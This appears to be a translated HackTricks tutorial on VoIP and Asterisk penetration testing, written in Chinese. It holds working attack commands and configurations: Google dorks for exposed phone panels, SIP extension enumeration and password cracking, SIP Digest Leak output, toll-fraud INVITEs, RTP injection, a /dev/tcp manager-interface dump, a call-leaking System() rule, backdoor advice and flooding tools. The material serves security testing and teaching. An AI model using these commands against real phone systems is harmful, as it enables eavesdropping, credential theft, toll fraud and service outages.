.. | ||
basic-voip-protocols | ||
README.md |
VoIP渗透测试
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFT收藏品
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
VoIP基本信息
要开始学习VoIP的工作原理,请查看:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
基本消息
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
响应代码
1xx—临时响应
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—成功响应
200 OK
202 Accepted
204 No Notification
3xx—重定向响应
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—客户端错误响应
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—服务器失败响应
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—全局失败响应
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP枚举
电话号码
红队可以采取的第一步是使用OSINT工具、Google搜索或者网页抓取来搜索可用的电话号码以联系公司。
一旦获得电话号码,您可以使用在线服务来识别运营商:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
了解运营商是否提供VoIP服务,您可以确定公司是否正在使用VoIP...此外,公司可能没有雇用VoIP服务,而是使用PSTN卡将其VoIP PBX连接到传统电话网络。
诸如音乐的自动响应通常表明正在使用VoIP。
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT 信息
任何其他有助于识别正在使用的 VoIP 软件的 OSINT 枚举对红队都是有帮助的。
网络枚举
nmap
能够扫描 UDP 服务,但由于扫描的 UDP 服务数量较多,速度很慢,并且在这种服务中可能不太准确。
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
来自 SIPVicious (sudo apt install sipvicious
):将定位指定网络中的 SIP 服务。svmap
易于阻止,因为它使用 User-Agentfriendly-scanner
,但您可以修改/usr/share/sipvicious/sipvicious
中的代码并更改它。
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS scan
来自 sippts: SIPPTS扫描是一个针对UDP、TCP或TLS上的SIP服务的非常快速的扫描工具。它使用多线程,可以扫描大范围的网络。它允许轻松指定端口范围,扫描TCP和UDP,使用另一种方法(默认情况下将使用OPTIONS)并指定不同的用户代理(等等)。
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
额外网络枚举
PBX还可能暴露其他网络服务,例如:
- 69/UDP (TFTP):固件更新
- 80 (HTTP) / 443 (HTTPS):通过Web管理设备
- 389 (LDAP):用于存储用户信息的替代方法
- 3306 (MySQL):MySQL数据库
- 5038 (Manager):允许从其他平台使用Asterisk
- 5222 (XMPP):使用Jabber发送消息
- 5432 (PostgreSQL):PostgreSQL数据库
- 以及其他...
方法枚举
可以使用SIPPTS enumerate
从sippts来查找在PBX中可用的方法。
sippts enumerate -i 10.10.0.10
分析服务器响应
非常重要的是分析服务器发送给我们的头部信息,这取决于我们发送的消息类型和头部信息。使用sippts中的SIPPTS send
,我们可以发送个性化消息,操纵所有头部,并分析响应。
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
也可以通过服务器使用Websockets来获取数据。使用sippts中的SIPPTS wssend
,我们可以发送个性化的WS消息。
sippts wssend -i 10.10.0.10 -r 443 -path /ws
分机枚举
在 PBX(专用分支交换)系统中,分机是指分配给组织或企业内部电话线、设备或用户的独特内部标识符。分机使得可以在组织内部有效地路由电话,而无需为每个用户或设备分配单独的外部电话号码。
svwar
来自 SIPVicious(sudo apt install sipvicious
):svwar
是一个免费的 SIP PBX 分机扫描工具。在概念上,它类似于传统的拨号扫描程序,通过猜测一系列分机或给定的分机列表来工作。
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
来自 sippts: SIPPTS exten 用于识别 SIP 服务器上的分机。Sipexten 可以检查大型网络和端口范围。
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: 您还可以使用metasploit枚举扩展名/用户名:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX 是一种用于 Inter Asterisk Exchange 协议的用户名暴力破解枚举器。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP 攻击
密码暴力破解 - 在线
发现了 PBX 和一些 分机号/用户名 后,红队可以尝试使用常见密码字典对一个分机号进行 REGISTER
方法认证,以进行身份验证。
{% hint style="danger" %} 请注意,用户名 可能与分机号相同,但这种做法可能会因 PBX 系统、其配置和组织偏好而有所不同...
如果用户名与分机号不同,您将需要 找出用户名以进行暴力破解。 {% endhint %}
svcrack
来自 SIPVicious (sudo apt install sipvicious
):SVCrack 允许您破解 PBX 上特定用户名/分机号的密码。
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
来自 sippts: SIPPTS rcrack 是用于 SIP 服务的远程密码破解工具。Rcrack 可以测试不同 IP 和端口范围中多个用户的密码。
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
VoIP窃听
如果您在开放的Wifi网络中发现VoIP设备,您可以窃取所有信息。此外,如果您在更封闭的网络中(通过以太网连接或受保护的Wifi连接),您可以执行中间人攻击,例如ARP欺骗在PBX和网关之间以窃取信息。
在网络信息中,您可以找到用于管理设备的web凭据,用户分机号,用户名,IP地址,甚至哈希密码和您可以重现的RTP数据包以听取对话等等。
要获取这些信息,您可以使用诸如Wireshark、tcpdump之类的工具...但是一个专门创建的用于窃听VoIP对话的工具是ucsniff。
{% hint style="danger" %}
请注意,如果SIP通信中使用了TLS,您将无法清楚地看到SIP通信。
如果使用了SRTP和ZRTP,RTP数据包将不会以明文形式显示。
{% endhint %}
SIP凭据(密码暴力破解 - 离线)
查看此示例以更好地了解SIP REGISTER通信以了解凭据是如何发送的。
sipdump
和sipcrack
, 是sipcrack的一部分(apt-get install sipcrack
):这些工具可以从pcap中提取SIP协议中的摘要认证,并对其进行暴力破解。
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
来自 sippts: SIPPTS dump 可以从一个 pcap 文件中提取摘要认证。
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
来自 sippts: SIPPTS dcrack 是一个用于破解使用 SIPPTS dump 获得的摘要认证的工具。
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
来自 sippts: SIPPTS tshark 从 PCAP 文件中提取 SIP 协议的数据。
sippts tshark -f capture.pcap [-filter auth]
DTMF codes
不仅可以在网络流量中找到 SIP 凭据,还可以找到用于访问语音信箱的 DTMF 代码。
可以将这些代码发送在INFO SIP 消息中,以音频或者RTP 数据包的形式。如果这些代码在 RTP 数据包中,您可以截取对话的这部分内容,并使用工具 multimo 来提取它们:
multimon -a DTMF -t wac pin.wav
免费通话 / Asterisks 连接配置错误
在 Asterisk 中,可以允许来自特定 IP 地址或任何 IP 地址的连接:
host=10.10.10.10
host=dynamic
如果指定了IP地址,主机不需要定期发送REGISTER请求(在REGISTER数据包中发送的生存时间通常为30分钟,这意味着在其他情况下,电话将需要每30分钟进行注册)。但是,它需要打开允许来自VoIP服务器的连接以接听电话的端口。
要定义用户,可以定义为:
type=user
:用户只能作为用户接收呼叫。type=friend
:可以作为对等体执行呼叫并作为用户接收呼叫(与分机一起使用)。type=peer
:可以作为对等体发送和接收呼叫(SIP-trunks)。
还可以通过不安全的变量建立信任:
insecure=port
:允许通过IP验证对等连接。insecure=invite
:不需要对INVITE消息进行身份验证。insecure=port,invite
:两者都需要。
{% hint style="warning" %}
当使用**type=friend
时,主机变量的值将不会被使用**,因此,如果管理员错误配置SIP-trunk使用该值,任何人都可以连接到它。
例如,此配置将存在漏洞:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
免费通话 / Asterisks上下文错误配置
在Asterisk中,上下文是拨号计划中的命名容器或部分,将相关的分机、动作和规则分组在一起。拨号计划是Asterisk系统的核心组件,因为它定义了如何处理和路由传入和传出的呼叫。上下文用于组织拨号计划,管理访问控制,并在系统的不同部分之间提供分隔。
每个上下文在配置文件中定义,通常在**extensions.conf
**文件中。上下文由方括号表示,其中包含上下文名称。例如:
csharpCopy code[my_context]
在上下文中,您定义分机(拨号号码的模式)并将它们与一系列操作或应用程序关联起来。这些操作决定了呼叫的处理方式。例如:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
这个示例演示了一个名为"my_context"的简单上下文,其中包含一个分机"100"。当有人拨打100时,电话将被接听,播放欢迎消息,然后电话将被终止。
这是另一个上下文,允许拨打任何其他号码:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
如果管理员将默认上下文定义为:
[default]
include => my_context
include => external
{% hint style="warning" %} 任何人都可以使用服务器拨打任何其他号码(服务器管理员将为通话付费)。 {% endhint %}
{% hint style="danger" %}
此外,默认情况下,sip.conf
文件包含 allowguest=true
,因此任何未经身份验证的攻击者都可以拨打任何其他号码。
{% endhint %}
SIPPTS invite
来自 sippts: SIPPTS invite 检查 PBX 服务器是否允许我们在没有身份验证的情况下进行呼叫。如果 SIP 服务器配置不正确,它将允许我们拨打外部号码。它还可以允许我们将通话转接到第二个外部号码。
例如,如果您的 Asterisk 服务器具有错误的上下文配置,您可以接受未经授权的 INVITE 请求。在这种情况下,攻击者可以在不知道任何用户/密码的情况下进行呼叫。
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
免费通话 / 配置错误的 IVRS
IVRS 代表交互式语音应答系统,是一种电话技术,允许用户通过语音或按键输入与计算机化系统进行交互。IVRS 用于构建自动呼叫处理系统,提供一系列功能,如提供信息、路由呼叫和捕获用户输入。
VoIP 系统中的 IVRS 通常包括:
- 语音提示:预先录制的音频消息,指导用户浏览 IVR 菜单选项和说明。
- DTMF(双音多频)信号:通过在电话上按键生成的按键输入,用于浏览 IVR 菜单并提供输入。
- 呼叫路由:根据用户输入将呼叫定向到适当的目的地,如特定部门、代理或分机。
- 用户输入捕获:从呼叫者收集信息,如帐号号码、案例 ID 或任何其他相关数据。
- 与外部系统集成:将 IVR 系统连接到数据库或其他软件系统,以访问或更新信息,执行操作或触发事件。
在 Asterisk VoIP 系统中,您可以使用拨号计划(extensions.conf
文件)和各种应用程序(如 Background()
、Playback()
、Read()
等)创建 IVR。这些应用程序帮助您播放语音提示,捕获用户输入并控制呼叫流程。
易受攻击配置示例
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
前面是一个示例,用户被要求按1拨打一个部门,按2拨打另一个部门,或者输入完整分机号(如果知道的话)。
漏洞在于指定的分机号长度没有经过检查,因此用户可以在5秒超时内输入完整号码,然后将被呼叫。
分机注入
使用分机号,例如:
exten => _X.,1,Dial(SIP/${EXTEN})
在**${EXTEN}
是将要被呼叫的分机**,当输入ext 101时,会发生以下情况:
exten => 101,1,Dial(SIP/101)
然而,如果 ${EXTEN}
允许输入不仅限于数字(就像在旧版Asterisk中),攻击者可以输入 101&SIP123123123
来呼叫电话号码123123123。这将是结果:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
因此,对分机**101
和123123123
的呼叫将被发送,只有第一个接听呼叫的分机会建立连接...但是,如果攻击者使用一个绕过任何匹配的分机**,并且不存在的分机,他可以注入呼叫只到期望的号码。
SIPDigestLeak漏洞
SIP Digest Leak是一种影响大量SIP电话的漏洞,包括硬件和软件IP电话以及电话适配器(VoIP到模拟电话)。该漏洞允许泄露Digest认证响应,该响应是根据密码计算的。然后可以进行离线密码攻击,并且可以根据挑战响应恢复大多数密码。
**从这里开始的漏洞场景**:
- 一个IP电话(受害者)正在侦听任何端口(例如:5060),接受电话
- 攻击者向IP电话发送INVITE
- 受害者电话开始响铃,有人接听并挂断(因为在另一端没有人接听电话)
- 当电话挂断时,受害者电话向攻击者发送一个BYE
- 攻击者发出一个407响应,要求进行身份验证并发出一个身份验证挑战
- 受害者电话在第二个BYE中对身份验证挑战提供响应
- 攻击者然后可以在本地机器上(或分布式网络等)对挑战响应进行暴力破解攻击,猜测密码
- SIPPTS泄漏来自sippts: SIPPTS泄漏利用了影响大量SIP电话的SIP Digest Leak漏洞。输出可以保存为SipCrack格式,以便使用SIPPTS dcrack或SipCrack工具进行暴力破解。
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
点击通话
Click2Call允许一个网络用户(例如可能对某个产品感兴趣)输入他的电话号码以便接到电话。然后会拨打一个商业电话,当他接听电话时,用户将被呼叫并与代理人连接。
一个常见的Asterisk配置文件是:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 先前的配置允许任何IP地址连接(如果知道密码)。
- 要发起呼叫,就像之前指定的那样,不需要读取权限,只需要写入中的发起即可。
有了这些权限,任何知道密码的IP都可以连接并提取过多的信息,比如:
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
窃听
在Asterisk中,可以使用命令**ChanSpy
指定要监听的分机号码**(或全部分机号码)来窃听正在进行的对话。这个命令需要分配给一个分机号码。
例如,exten => 333,1,ChanSpy('all',qb)
表示如果您拨打分机号码333,它将监听所有分机号码,在新对话开始时(b
)以安静模式(q
)开始收听,因为我们不希望干扰。您可以通过按下***
**或标记分机号码来从一个对话切换到另一个对话。
还可以使用**ExtenSpy
**来监视单个分机号码。
除了收听对话,还可以使用诸如以下分机号码之类的分机号码将它们记录在文件中:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
通话将被保存在 /tmp
。
您甚至可以让Asterisk执行一个脚本,在通话关闭时泄漏通话内容。
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed漏洞
RTCPBleed是一个影响基于Asterisk的VoIP服务器的重要安全问题(于2017年发布)。该漏洞允许RTP(实时传输协议)流量,即VoIP通话流量,被任何互联网上的人拦截和重定向。这是因为当RTP流量通过NAT(网络地址转换)防火墙时,会绕过身份验证。
RTP代理试图解决影响RTC系统的NAT限制,通过在两个或多个方之间代理RTP流。当存在NAT时,RTP代理软件通常无法依赖通过信令(例如SIP)检索的RTP IP和端口信息。因此,许多RTP代理已经实现了一种机制,其中这样的IP和端口元组会被自动学习。通常通过检查传入的RTP流量并将任何传入的RTP流量的源IP和端口标记为应该响应的IP和端口来完成此操作。这种机制,可能被称为“学习模式”,不使用任何形式的身份验证。因此,攻击者可以向RTP代理发送RTP流量,并接收到本应发送给合法用户的代理RTP流量。我们将这种漏洞称为RTP Bleed,因为它允许攻击者接收本应发送给合法用户的RTP媒体流。
RTP代理和RTP堆栈的另一个有趣行为是,有时,即使不容易受到RTP Bleed的影响,它们也会接受、转发和/或处理来自任何源的RTP数据包。因此,攻击者可以发送RTP数据包,这可能使他们能够注入他们的媒体而不是合法的媒体。我们将这种攻击称为RTP注入,因为它允许将非法的RTP数据包注入到现有的RTP流中。这种漏洞可能存在于RTP代理和端点中。
Asterisk和FreePBX传统上使用**NAT=yes
设置**,这使得RTP流量可以绕过身份验证,可能导致通话中没有音频或单向音频。
有关更多信息,请查看https://www.rtpbleed.com/
SIPPTS rtpbleed
来自sippts: SIPPTS rtpbleed检测RTP Bleed漏洞发送RTP流。
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
来自 sippts: SIPPTS rtcpbleed 通过发送RTCP流来检测RTP泄漏漏洞。
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
来自 sippts: SIPPTS rtpbleedflood 利用 RTP Bleed 漏洞发送 RTP 流。
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
来自 sippts: SIPPTS rtpbleedinject 利用 RTP Bleed 漏洞注入音频文件(WAV 格式)。
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
在Asterisk中,如果你设法能够添加分机规则并重新加载它们(例如通过入侵一个存在漏洞的Web管理服务器),就有可能使用**System
**命令实现远程代码执行。
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
有一个名为**Shell
**的命令,可以在必要时用来执行系统命令,而不是使用System
。
{% hint style="warning" %}
如果服务器在**System
命令中(如在Elastix中)禁止使用某些字符,请检查 Web 服务器是否允许以某种方式在系统内部创建文件**(如在Elastix或 trixbox 中),然后使用它来创建一个后门脚本,然后使用**System
来执行该脚本**。
{% endhint %}
有趣的本地文件和权限
sip.conf
-> 包含 SIP 用户的密码。- 如果Asterisk 服务器以 root 用户身份运行,则可以妥协 root 用户
- mysql root 用户可能没有密码。
- 这可以用来创建一个新的 mysql 用户作为后门
FreePBX
amportal.conf
-> 包含 Web 面板管理员(FreePBX)的密码FreePBX.conf
-> 包含用于访问数据库的用户 FreePBXuser 的密码- 这可以用来创建一个新的 mysql 用户作为后门
Elastix
Elastix.conf
-> 包含明文密码,如 mysql root 密码,IMAPd 密码,web 管理员密码- 多个文件夹将属于受损的 asterisk 用户(如果不是以 root 用户身份运行)。该用户可以读取先前的文件并控制配置,因此他可以使 Asterisk 在执行时加载其他带有后门的二进制文件。
RTP 注入
可以使用工具如**rtpinsertsound
(sudo apt install rtpinsertsound
)和rtpmixsound
(sudo apt install rtpmixsound
)在对话中插入.wav
**。
或者您可以使用来自 http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ 的脚本来扫描对话(rtpscan.pl
),向对话发送 .wav
(rtpsend.pl
)并在对话中插入噪音(rtpflood.pl
)。
DoS
有几种方法可以尝试在 VoIP 服务器上实现 DoS。
- 来自 sippts 的**
SIPPTS flood
**:SIPPTS flood 向目标发送无限消息。 sippts flood -i 10.10.0.10 -m invite -v
- 来自 sippts 的**
SIPPTS ping
**:SIPPTS ping 发送 SIP ping 以查看服务器响应时间。 sippts ping -i 10.10.0.10
- IAXFlooder:DoS Asterisk 使用的 IAX 协议
- inviteflood:用于在 UDP/IP 上执行 SIP/SDP INVITE 消息洪泛的工具。
- rtpflood:发送多个格式正确的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
- SIPp:允许分析和生成 SIP 流量。因此也可以用于 DoS。
- SIPsak:SIP 瑞士军刀。也可用于执行 SIP 攻击。
- Fuzzers:protos-sip,voiper。
操作系统漏洞
安装 Asterisk 等软件的最简单方法是下载已经安装了它的操作系统发行版,例如:FreePBX、Elastix、Trixbox... 但这些的问题在于一旦它们运行起来,系统管理员可能不会再更新它们,并且漏洞会随着时间被发现。
参考资料
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
从零开始学习 AWS 黑客技术,使用 htARTE(HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的公司广告或下载 PDF 版本的 HackTricks,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 探索PEASS 家族,我们的独家 NFTs 收藏品
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm 上关注我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。